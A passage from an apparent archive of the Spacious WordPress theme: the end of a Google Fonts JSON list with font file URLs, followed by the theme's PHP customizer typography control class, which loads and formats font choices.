"http://fonts.gstatic.com/s/ubuntumono/v9/KFO8CneDtsqEr0keqCMhbCc_Mn33tYhkf3O1GVg.ttf" } }, { "kind": "webfonts#webfont", "family": "Ultra", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ultra/v12/zOLy4prXmrtY-tT6yLOD6NxF.ttf" } }, { "kind": "webfonts#webfont", "family": "Uncial Antiqua", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/uncialantiqua/v7/N0bM2S5WOex4OUbESzoESK-i-PfRS5VBBSSF.ttf" } }, { "kind": "webfonts#webfont", "family": "Underdog", "category": "display", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/underdog/v8/CHygV-jCElj7diMroVSiU14GN2Il.ttf" } }, { "kind": "webfonts#webfont", "family": "Unica One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/unicaone/v7/DPEuYwWHyAYGVTSmalshdtffuEY7FA.ttf" } }, { "kind": "webfonts#webfont", "family": "UnifrakturCook", "category": "display", "variants": [ "700" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/unifrakturcook/v11/IurA6Yli8YOdcoky-0PTTdkm56n05Uw13ILXs-h6.ttf" } }, { "kind": "webfonts#webfont", "family": "UnifrakturMaguntia", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/unifrakturmaguntia/v10/WWXPlieVYwiGNomYU-ciRLRvEmK7oaVun2xNNgNa1A.ttf" } }, { "kind": "webfonts#webfont", "family": "Unkempt", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/unkempt/v11/2EbnL-Z2DFZue0DSSYYf8z2Yt_c.ttf", "700": "http://fonts.gstatic.com/s/unkempt/v11/2EbiL-Z2DFZue0DScTow1zWzq_5uT84.ttf" } }, { "kind": "webfonts#webfont", "family": "Unlock", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/unlock/v9/7Au-p_8ykD-cDl7GKAjSwkUVOQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Unna", "category": "serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v13", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/unna/v13/AYCEpXzofN0NCpgBlGHCWFM.ttf", "italic": "http://fonts.gstatic.com/s/unna/v13/AYCKpXzofN0NOpoLkEPHSFNyxw.ttf", "700": "http://fonts.gstatic.com/s/unna/v13/AYCLpXzofN0NMiQusGnpRFpr3vc.ttf", "700italic": "http://fonts.gstatic.com/s/unna/v13/AYCJpXzofN0NOpozLGzjQHhuzvef5Q.ttf" } }, { "kind": "webfonts#webfont", "family": "VT323", "category": "monospace", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/vt323/v11/pxiKyp0ihIEF2hsYHpT2dkNE.ttf" } }, { "kind": "webfonts#webfont", "family": "Vampiro One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/vampiroone/v10/gokqH6DoDl5yXvJytFsdLkqnsvhIor3K.ttf" } }, { "kind": "webfonts#webfont", "family": "Varela", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/varela/v10/DPEtYwqExx0AWHXJBBQFfvzDsQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Varela Round", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "vietnamese", "hebrew", "latin-ext", "latin" ], "version": "v12", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/varelaround/v12/w8gdH283Tvk__Lua32TysjIvoMGOD9gxZw.ttf" } }, { "kind": "webfonts#webfont", "family": "Vast Shadow", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/vastshadow/v9/pe0qMImKOZ1V62ZwbVY9dfe6Kdpickwp.ttf" } }, { "kind": "webfonts#webfont", "family": "Vesper Libre", "category": "serif", "variants": [ "regular", "500", "700", "900" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/vesperlibre/v11/bx6CNxyWnf-uxPdXDHUD_Rd4D0-N2qIWVQ.ttf", "500": "http://fonts.gstatic.com/s/vesperlibre/v11/bx6dNxyWnf-uxPdXDHUD_RdA-2ap0okKXKvPlw.ttf", "700": "http://fonts.gstatic.com/s/vesperlibre/v11/bx6dNxyWnf-uxPdXDHUD_RdAs2Cp0okKXKvPlw.ttf", "900": "http://fonts.gstatic.com/s/vesperlibre/v11/bx6dNxyWnf-uxPdXDHUD_RdAi2Kp0okKXKvPlw.ttf" } }, { "kind": "webfonts#webfont", "family": "Viaoda Libre", "category": "display", "variants": [ "regular" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-06", "files": { "regular": "http://fonts.gstatic.com/s/viaodalibre/v1/vEFW2_lWCgoR6OKuRz9kcRVJb2IY2tOHXg.ttf" } }, { "kind": "webfonts#webfont", "family": "Vibes", "category": "display", "variants": [ "regular" ], "subsets": [ "arabic", "latin" ], "version": "v1", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/vibes/v1/QdVYSTsmIB6tmbd3HpbsuBlh.ttf" } }, { "kind": "webfonts#webfont", "family": "Vibur", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/vibur/v10/DPEiYwmEzw0QRjTpLjoJd-Xa.ttf" } }, { "kind": "webfonts#webfont", "family": "Vidaloka", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/vidaloka/v12/7cHrv4c3ipenMKlEass8yn4hnCci.ttf" } }, { "kind": "webfonts#webfont", "family": "Viga", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/viga/v8/xMQbuFFdSaiX_QIjD4e2OX8.ttf" } }, { "kind": "webfonts#webfont", "family": "Voces", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/voces/v9/-F6_fjJyLyU8d4PBBG7YpzlJ.ttf" } }, { "kind": "webfonts#webfont", "family": "Volkhov", "category": "serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/volkhov/v11/SlGQmQieoJcKemNeQTIOhHxzcD0.ttf", "italic": "http://fonts.gstatic.com/s/volkhov/v11/SlGSmQieoJcKemNecTAEgF52YD0NYw.ttf", "700": "http://fonts.gstatic.com/s/volkhov/v11/SlGVmQieoJcKemNeeY4hoHRYbDQUego.ttf", "700italic": "http://fonts.gstatic.com/s/volkhov/v11/SlGXmQieoJcKemNecTA8PHFSaBYRagrQrA.ttf" } }, { "kind": "webfonts#webfont", "family": "Vollkorn", "category": "serif", "variants": [ "regular", "italic", "600", "600italic", "700", "700italic", "900", "900italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "greek", "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/vollkorn/v10/0yb9GDoxxrvAnPhYGykuYkw2rQg1.ttf", "italic": "http://fonts.gstatic.com/s/vollkorn/v10/0yb7GDoxxrvAnPhYGxksaEgUqBg15TY.ttf", "600": "http://fonts.gstatic.com/s/vollkorn/v10/0yb6GDoxxrvAnPhYGxH2TGg-hhQ8_C_3.ttf", "600italic": "http://fonts.gstatic.com/s/vollkorn/v10/0yb4GDoxxrvAnPhYGxksUJA6jBAe-T_34DM.ttf", "700": "http://fonts.gstatic.com/s/vollkorn/v10/0yb6GDoxxrvAnPhYGxGSTWg-hhQ8_C_3.ttf", "700italic": "http://fonts.gstatic.com/s/vollkorn/v10/0yb4GDoxxrvAnPhYGxksUPQ7jBAe-T_34DM.ttf", "900": "http://fonts.gstatic.com/s/vollkorn/v10/0yb6GDoxxrvAnPhYGxGqT2g-hhQ8_C_3.ttf", "900italic": "http://fonts.gstatic.com/s/vollkorn/v10/0yb4GDoxxrvAnPhYGxksUMw5jBAe-T_34DM.ttf" } }, { "kind": "webfonts#webfont", "family": "Vollkorn SC", "category": "serif", "variants": [ "regular", "600", "700", "900" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "latin-ext", "latin" ], "version": "v3", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/vollkornsc/v3/j8_v6-zQ3rXpceZj9cqnVhF5NH-iSq_E.ttf", "600": "http://fonts.gstatic.com/s/vollkornsc/v3/j8_y6-zQ3rXpceZj9cqnVimhGluqYbPN5Yjn.ttf", "700": "http://fonts.gstatic.com/s/vollkornsc/v3/j8_y6-zQ3rXpceZj9cqnVinFG1uqYbPN5Yjn.ttf", "900": "http://fonts.gstatic.com/s/vollkornsc/v3/j8_y6-zQ3rXpceZj9cqnVin9GVuqYbPN5Yjn.ttf" } }, { "kind": "webfonts#webfont", "family": "Voltaire", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/voltaire/v9/1Pttg8PcRfSblAvGvQooYKVnBOif.ttf" } }, { "kind": "webfonts#webfont", "family": "Waiting for the Sunrise", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/waitingforthesunrise/v10/WBL1rFvOYl9CEv2i1mO6KUW8RKWJ2zoXoz5JsYZQ9h_ZYk5J.ttf" } }, { "kind": "webfonts#webfont", "family": "Wallpoet", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/wallpoet/v11/f0X10em2_8RnXVVdUNbu7cXP8L8G.ttf" } }, { "kind": "webfonts#webfont", "family": "Walter Turncoat", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/walterturncoat/v10/snfys0Gs98ln43n0d-14ULoToe67YB2dQ5ZPqQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Warnes", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/warnes/v9/pONn1hc0GsW6sW5OpiC2o6Lkqg.ttf" } }, { "kind": "webfonts#webfont", "family": "Wellfleet", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/wellfleet/v7/nuF7D_LfQJb3VYgX6eyT42aLDhO2HA.ttf" } }, { "kind": "webfonts#webfont", "family": "Wendy One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/wendyone/v8/2sDcZGJOipXfgfXV5wgDb2-4C7wFZQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Wire One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/wireone/v10/qFdH35Wah5htUhV75WGiWdrCwwcJ.ttf" } }, { "kind": "webfonts#webfont", "family": "Work Sans", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900", "100italic", "200italic", "300italic", "italic", "500italic", "600italic", "700italic", "800italic", "900italic" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v7", "lastModified": "2020-03-20", "files": { "100": "http://fonts.gstatic.com/s/worksans/v7/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K0nWNigDp6_cOyA.ttf", "200": "http://fonts.gstatic.com/s/worksans/v7/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K8nXNigDp6_cOyA.ttf", "300": "http://fonts.gstatic.com/s/worksans/v7/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32KxfXNigDp6_cOyA.ttf", "regular": "http://fonts.gstatic.com/s/worksans/v7/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K0nXNigDp6_cOyA.ttf", "500": "http://fonts.gstatic.com/s/worksans/v7/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K3vXNigDp6_cOyA.ttf", "600": "http://fonts.gstatic.com/s/worksans/v7/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K5fQNigDp6_cOyA.ttf", "700": "http://fonts.gstatic.com/s/worksans/v7/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K67QNigDp6_cOyA.ttf", "800": "http://fonts.gstatic.com/s/worksans/v7/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K8nQNigDp6_cOyA.ttf", "900": "http://fonts.gstatic.com/s/worksans/v7/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K-DQNigDp6_cOyA.ttf", "100italic": "http://fonts.gstatic.com/s/worksans/v7/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGU3moJo43ZKyDSQQ.ttf", "200italic": "http://fonts.gstatic.com/s/worksans/v7/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUXmsJo43ZKyDSQQ.ttf", "300italic": "http://fonts.gstatic.com/s/worksans/v7/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUgGsJo43ZKyDSQQ.ttf", "italic": "http://fonts.gstatic.com/s/worksans/v7/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGU3msJo43ZKyDSQQ.ttf", "500italic": "http://fonts.gstatic.com/s/worksans/v7/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGU7GsJo43ZKyDSQQ.ttf", "600italic": "http://fonts.gstatic.com/s/worksans/v7/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUAGwJo43ZKyDSQQ.ttf", "700italic": "http://fonts.gstatic.com/s/worksans/v7/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUOWwJo43ZKyDSQQ.ttf", "800italic": "http://fonts.gstatic.com/s/worksans/v7/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUXmwJo43ZKyDSQQ.ttf", "900italic": "http://fonts.gstatic.com/s/worksans/v7/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUd2wJo43ZKyDSQQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Yanone Kaffeesatz", "category": "sans-serif", "variants": [ "200", "300", "regular", "500", "600", "700" ], "subsets": [ "cyrillic", "vietnamese", "latin-ext", "latin" ], "version": "v14", "lastModified": "2020-02-05", "files": { "200": "http://fonts.gstatic.com/s/yanonekaffeesatz/v14/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIftodtWpcGuLCnXkVA.ttf", "300": "http://fonts.gstatic.com/s/yanonekaffeesatz/v14/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIftoqNWpcGuLCnXkVA.ttf", "regular": "http://fonts.gstatic.com/s/yanonekaffeesatz/v14/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIfto9tWpcGuLCnXkVA.ttf", "500": "http://fonts.gstatic.com/s/yanonekaffeesatz/v14/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIftoxNWpcGuLCnXkVA.ttf", "600": "http://fonts.gstatic.com/s/yanonekaffeesatz/v14/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIftoKNKpcGuLCnXkVA.ttf", "700": "http://fonts.gstatic.com/s/yanonekaffeesatz/v14/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIftoEdKpcGuLCnXkVA.ttf" } }, { "kind": "webfonts#webfont", "family": "Yantramanav", "category": "sans-serif", "variants": [ "100", "300", "regular", "500", "700", "900" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/yantramanav/v5/flU-Rqu5zY00QEpyWJYWN5-QXeNzDB41rZg.ttf", "300": "http://fonts.gstatic.com/s/yantramanav/v5/flUhRqu5zY00QEpyWJYWN59Yf8NZIhI8tIHh.ttf", "regular": "http://fonts.gstatic.com/s/yantramanav/v5/flU8Rqu5zY00QEpyWJYWN6f0V-dRCQ41.ttf", "500": "http://fonts.gstatic.com/s/yantramanav/v5/flUhRqu5zY00QEpyWJYWN58AfsNZIhI8tIHh.ttf", "700": "http://fonts.gstatic.com/s/yantramanav/v5/flUhRqu5zY00QEpyWJYWN59IeMNZIhI8tIHh.ttf", "900": "http://fonts.gstatic.com/s/yantramanav/v5/flUhRqu5zY00QEpyWJYWN59wesNZIhI8tIHh.ttf" } }, { "kind": "webfonts#webfont", "family": "Yatra One", "category": "display", "variants": [ "regular" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v6", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/yatraone/v6/C8ch4copsHzj8p7NaF0xw1OBbRDvXw.ttf" } }, { "kind": "webfonts#webfont", "family": "Yellowtail", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/yellowtail/v10/OZpGg_pnoDtINPfRIlLotlzNwED-b4g.ttf" } }, { "kind": "webfonts#webfont", "family": "Yeon Sung", "category": "display", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/yeonsung/v8/QldMNTpbohAGtsJvUn6xSVNazqx2xg.ttf" } }, { "kind": "webfonts#webfont", "family": "Yeseva One", "category": "display", "variants": [ "regular" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "latin-ext", "latin" ], "version": "v14", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/yesevaone/v14/OpNJno4ck8vc-xYpwWWxpipfWhXD00c.ttf" } }, { "kind": "webfonts#webfont", "family": "Yesteryear", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/yesteryear/v8/dg4g_p78rroaKl8kRKo1r7wHTwonmyw.ttf" } }, { "kind": "webfonts#webfont", "family": "Yrsa", "category": "serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/yrsa/v5/wlpxgwnQFlxs3af93IQ73W5OcCk.ttf", "regular": "http://fonts.gstatic.com/s/yrsa/v5/wlp-gwnQFlxs5QvV-IwQwWc.ttf", "500": "http://fonts.gstatic.com/s/yrsa/v5/wlpxgwnQFlxs3f_83IQ73W5OcCk.ttf", "600": "http://fonts.gstatic.com/s/yrsa/v5/wlpxgwnQFlxs3dP73IQ73W5OcCk.ttf", "700": "http://fonts.gstatic.com/s/yrsa/v5/wlpxgwnQFlxs3bf63IQ73W5OcCk.ttf" } }, { "kind": "webfonts#webfont", "family": "ZCOOL KuaiLe", "category": "display", "variants": [ "regular" ], "subsets": [ "chinese-simplified", "latin" ], "version": "v5", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/zcoolkuaile/v5/tssqApdaRQokwFjFJjvM6h2WpozzoXhC2g.ttf" } }, { "kind": "webfonts#webfont", "family": "ZCOOL QingKe HuangYou", "category": "display", "variants": [ "regular" ], "subsets": [ "chinese-simplified", "latin" ], "version": "v5", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/zcoolqingkehuangyou/v5/2Eb5L_R5IXJEWhD3AOhSvFC554MOOahI4mRIi_28c8bHWA.ttf" } }, { "kind": "webfonts#webfont", "family": "ZCOOL XiaoWei", "category": "serif", "variants": [ "regular" ], "subsets": [ "chinese-simplified", "latin" ], "version": "v5", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/zcoolxiaowei/v5/i7dMIFFrTRywPpUVX9_RJyM1YFKQHwyVd3U.ttf" } }, { "kind": "webfonts#webfont", "family": "Zeyada", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/zeyada/v9/11hAGpPTxVPUbgZDNGatWKaZ3g.ttf" } }, { "kind": "webfonts#webfont", "family": "Zhi Mang Xing", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "chinese-simplified", "latin" ], "version": "v5", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/zhimangxing/v5/f0Xw0ey79sErYFtWQ9a2rq-g0actfektIJ0.ttf" } }, { "kind": "webfonts#webfont", "family": "Zilla Slab", "category": "serif", "variants": [ "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-17", "files": { "300": "http://fonts.gstatic.com/s/zillaslab/v5/dFa5ZfeM_74wlPZtksIFYpEY2HSjWlhzbaw.ttf", "300italic": "http://fonts.gstatic.com/s/zillaslab/v5/dFanZfeM_74wlPZtksIFaj8CVHapXnp2fazkfg.ttf", "regular": "http://fonts.gstatic.com/s/zillaslab/v5/dFa6ZfeM_74wlPZtksIFWj0w_HyIRlE.ttf", "italic": "http://fonts.gstatic.com/s/zillaslab/v5/dFa4ZfeM_74wlPZtksIFaj86-F6NVlFqdA.ttf", "500": "http://fonts.gstatic.com/s/zillaslab/v5/dFa5ZfeM_74wlPZtksIFYskZ2HSjWlhzbaw.ttf", "500italic": "http://fonts.gstatic.com/s/zillaslab/v5/dFanZfeM_74wlPZtksIFaj8CDHepXnp2fazkfg.ttf", "600": "http://fonts.gstatic.com/s/zillaslab/v5/dFa5ZfeM_74wlPZtksIFYuUe2HSjWlhzbaw.ttf", "600italic": "http://fonts.gstatic.com/s/zillaslab/v5/dFanZfeM_74wlPZtksIFaj8CIHCpXnp2fazkfg.ttf", "700": "http://fonts.gstatic.com/s/zillaslab/v5/dFa5ZfeM_74wlPZtksIFYoEf2HSjWlhzbaw.ttf", "700italic": "http://fonts.gstatic.com/s/zillaslab/v5/dFanZfeM_74wlPZtksIFaj8CRHGpXnp2fazkfg.ttf" } }, { "kind": "webfonts#webfont", "family": "Zilla Slab Highlight", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/zillaslabhighlight/v7/gNMbW2BrTpK8-inLtBJgMMfbm6uNVDvRxhtIY2DwSXlM.ttf", "700": "http://fonts.gstatic.com/s/zillaslabhighlight/v7/gNMUW2BrTpK8-inLtBJgMMfbm6uNVDvRxiP0TET4YmVF0Mb6.ttf" } } ] } core/custom-controls/typography/class-spacious-typography-control.php000066600000057510152367043330022423 0ustar00<?php /** * Extend WP_Customize_Control to include typography control. * * Class Spacious_Typography_Control * * @package ThemeGrill * @subpackage Spacious * @since Spacious 3.0.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to extend WP_Customize_Control to add the typography customize control. * * Class Spacious_Typography_Control */ class Spacious_Typography_Control extends Spacious_Customize_Base_Additional_Control { /** * Control's Type. * * @var string */ public $type = 'spacious-typography'; /** * Languages required subsets. * * @var array */ public $languages = array(); /** * Enqueue control related scripts/styles. */ public function enqueue() { parent::enqueue(); $standard_fonts = $this->get_system_fonts(); $google_fonts = $this->get_google_fonts(); $custom_fonts = $this->get_custom_fonts(); $google_font_subsets = Spacious_Fonts::get_google_font_subsets(); $localize_scripts = array( 'standardfontslabel' => esc_html__( 'Standard Fonts', 'spacious' ), 'googlefontslabel' => esc_html__( 'Google Fonts', 'spacious' ), 'standard' => $standard_fonts, 'google' => $google_fonts, ); // If custom fonts is available,then add it for localization. if ( ! empty( $custom_fonts ) ) { $localize_scripts['customfontslabel'] = esc_html__( 'Custom Fonts', 'spacious' ); $localize_scripts['custom'] = $custom_fonts; } // Loading available fonts. wp_localize_script( 'spacious-customize-controls', 'SpaciousCustomizerControlTypography', $localize_scripts ); // Loading Google font subsets. wp_localize_script( 'spacious-customize-controls', 'SpaciousCustomizerControlTypographySubsets', $google_font_subsets ); } /** * Formats variants. * * @access protected * * @param array $variants The variants. * * @return array */ protected function format_variants_array( $variants ) { $font_variants = Spacious_Fonts::get_font_variants(); $variants_array = array(); foreach ( $variants as $variant ) { if ( is_string( $variant ) ) { $variants_array[] = array( 'id' => $variant, 'label' => isset( $font_variants[ $variant ] ) ? $font_variants[ $variant ] : $variant, ); } elseif ( is_array( $variant ) && isset( $variant['id'] ) && isset( $variant['label'] ) ) { $variants_array[] = $variant; } } return $variants_array; } /** * Gets standard fonts properly formatted for control. */ public function get_system_fonts() { $standard_fonts = Spacious_Fonts::get_system_fonts(); $standard_fonts_array = array(); $default_variants = $this->format_variants_array( apply_filters( 'spacious_default_variants', array( 'regular', 'italic', ) ) ); foreach ( $standard_fonts as $key => $font ) { $standard_fonts_array[] = array( 'family' => $font['family'], 'label' => $font['label'], 'subsets' => array(), 'variants' => ( isset( $font['variants'] ) ) ? $this->format_variants_array( $font['variants'] ) : $default_variants, ); } return $standard_fonts_array; } /** * Gets Google fonts properly formatted for control. */ public function get_google_fonts() { // Get formatted array of google fonts. $google_fonts = Spacious_Fonts::get_google_fonts(); $font_variants = Spacious_Fonts::get_font_variants(); $foogle_fonts__subsets = Spacious_Fonts::get_google_font_subsets(); $google_fonts_array = array(); foreach ( $google_fonts as $family => $args ) { // Get label, variants, subsets of individual font. $label = ( isset( $args['label'] ) ) ? $args['label'] : $family; $variants = ( isset( $args['variants'] ) ) ? $args['variants'] : array( 'regular' ); $subsets = ( isset( $args['subsets'] ) ) ? $args['subsets'] : array(); $available_variants = array(); if ( is_array( $variants ) ) { foreach ( $variants as $variant ) { if ( array_key_exists( $variant, $font_variants ) ) { $available_variants[] = array( 'id' => $variant, 'label' => $font_variants[ $variant ], ); } } } $available_subsets = array(); if ( is_array( $subsets ) ) { foreach ( $subsets as $subset ) { if ( array_key_exists( $subset, $foogle_fonts__subsets ) ) { $available_subsets[] = array( 'id' => $subset, 'label' => $foogle_fonts__subsets[ $subset ], ); } } } $google_fonts_array[] = array( 'family' => $family, 'label' => $label, 'variants' => $available_variants, 'subsets' => $available_subsets, ); } return $google_fonts_array; } /** * Gets custom fonts properly formatted for control. */ public function get_custom_fonts() { $custom_fonts = Spacious_Fonts::get_custom_fonts(); $custom_fonts_array = array(); $default_variants = $this->format_variants_array( array( 'regular', 'italic', ) ); foreach ( $custom_fonts as $key => $font ) { $custom_fonts_array[] = array( 'family' => $font['family'], 'label' => $font['label'], 'subsets' => array(), 'variants' => ( isset( $font['variants'] ) ) ? $this->format_variants_array( $font['variants'] ) : $default_variants, ); } return $custom_fonts_array; } /** * Refresh the parameters passed to the JavaScript via JSON. * * @see WP_Customize_Control::to_json() */ public function to_json() { parent::to_json(); $this->json['default'] = $this->setting->default; if ( isset( $this->default ) ) { $this->json['default'] = $this->default; } $this->json['value'] = $this->value(); $this->json['link'] = $this->get_link(); $this->json['id'] = $this->id; $this->json['label'] = esc_html( $this->label ); $this->json['description'] = $this->description; $this->json['choices'] = $this->choices; $this->json['input_attrs'] = $this->input_attrs; $this->json['languages'] = Spacious_Fonts::get_google_font_subsets(); } /** * An Underscore (JS) template for this control's content (but not its container). * * Class variables for this control class are available in the `data` JS object; * export custom variables by overriding {@see WP_Customize_Control::to_json()}. * * @see WP_Customize_Control::print_template() * * @access protected */ protected function content_template() { ?> <div class="customizer-text"> <# if ( data.label ) { #> <span class="customize-control-title">{{{ data.label }}}</span> <# } #> <# if ( data.description ) { #> <span class="description customize-control-description">{{{ data.description }}}</span> <# } #> </div> <div class="customize-control-content"> <# if ( data.default['font-family'] ) { #> <div class="font-family"> <span class="customize-control-title"><?php esc_html_e( 'Family', 'spacious' ); ?></span> <div class="spacious-field-content"> <select {{{ data.inputAttrs }}} id="spacious-font-family-{{{ data.id || data.name }}}"></select> </div> </div> <# if ( data.default['font-weight'] ) { #> <div class="font-weight"> 